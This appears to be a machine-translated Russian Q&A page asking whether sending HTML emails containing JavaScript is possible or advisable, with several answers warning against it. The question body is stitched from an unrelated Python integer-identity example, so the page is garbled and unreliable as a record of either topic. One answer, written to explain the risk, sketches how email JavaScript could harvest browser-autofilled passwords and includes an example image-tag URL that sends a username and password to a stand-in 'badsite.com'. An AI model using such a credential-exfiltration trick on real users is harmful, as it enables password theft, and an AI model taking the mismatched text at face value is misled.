Действительно ли это возможно / рекомендуемые электронные письма HTML отправки, содержащие JavaScript? [закрытый]

Взгляните на это:

>>> a = 256
>>> b = 256
>>> id(a)
9987148
>>> id(b)
9987148
>>> a = 257
>>> b = 257
>>> id(a)
11662816
>>> id(b)
11662828

EDIT: Вот что я нашел в документации Python 2, «Plain Integer Objects» (То же самое для Python 3 ):

Текущая реализация хранит массив целых объектов для всех целых чисел от -5 до 256, когда вы создаете int в этом диапазоне, на котором вы просто возвращаетесь ссылку на существующий объект. Поэтому должно быть возможно изменить значение 1. Я подозреваю, что поведение Python в этом случае не определено. : -)

blockquote>

14
задан Adriano Varoli Piazza 18 February 2009 в 13:26
поделиться

4 ответа

Вы перечислили правильные аргументы против использования JavaScript в электронных письмах. Они показывают Вам, что это - плохая идея. Соединение со страницей, где можно использовать JavaScript свободно, является хорошим вариантом и позволяет пользователю решить, если и когда он хочет получить доступ к этому "расширенному" содержанию.

9
ответ дан 1 December 2019 в 16:15
поделиться

Так как спам был бы таким грандиозным предприятием, я придерживался бы посылания основных электронных писем, которые являются легко потребляемыми. Можно всегда связываться с веб-страницей, которая имеет JavaScript в нем. Можно также отправить querystring параметр в URL для отслеживания пользователей, которые больше всего интересуются электронными письмами, потому что это скажет Вам, что они - щелчок в них. Таким образом, в то время как это может быть возможно, его, вероятно, лучший для предотвращения его.

0
ответ дан 1 December 2019 в 16:15
поделиться

Проблема JavaScript состоит в том, что он излагает угрозу нарушения безопасности. Если существует какой-либо почтовый клиент, который принимает его, то это наиболее вероятно уязвимость системы обеспечения безопасности и должно быть зафиксировано.

Так, действительно, "даже не беспокоятся", потому что, даже если это работает, это скоро прекратит работать.

РЕДАКТИРОВАНИЕ: Некоторые люди, кажется, не понимают , почему это - угроза безопасности, таким образом, я объясню.

Рассматривают следующий код (один из нескольких способов украсть пароли с помощью JavaScript и небезопасных почтовых клиентов).

Используя JavaScript:

  1. Создают форму с полями ввода "имени пользователя" и "пароля".
  2. Позволяют браузеру автоматически помнить содержание этих полей (несколько пользователей хранят имя пользователя и пароль в памяти браузера, чтобы избежать необходимости вводить и помнить это каждый раз.
  3. , После того как оба поля (автоматически) заполняются, отправляют свое содержание в Ваш веб-сайт с помощью чего-то как <img src="badsite.com/senddata?username=user&password=pass">.
  4. Поздравления! Вы украли пароль!

Обычно, просто создав форму с помощью JavaScript в собственном небезопасном веб-сайте не вредно отдельно, потому что браузер достаточно умен для сообщения данных Gmail только Gmail (и Вы обычно не пытаетесь украсть пароли из своего собственного сайта, и в этом случае были бы более легкие способы украсть их так или иначе).

Однако при разрешении JavaScript в электронных письмах, затем браузер не был бы способен к разделению законного JavaScript из небезопасного кода.

воровство Cookie также возможно, если почтовый клиент не может отфильтровать JavaScript.

0
ответ дан 1 December 2019 в 16:15
поделиться

да, это возможно, но не рекомендуется. в целях безопасности чаще всего программное обеспечение для управления почтой блокирует js или предупреждает, если он включает js. если пользователь строг к спаму, то это письмо также попадает в спам.

0
ответ дан 1 December 2019 в 16:15
поделиться
Другие вопросы по тегам:

Похожие вопросы: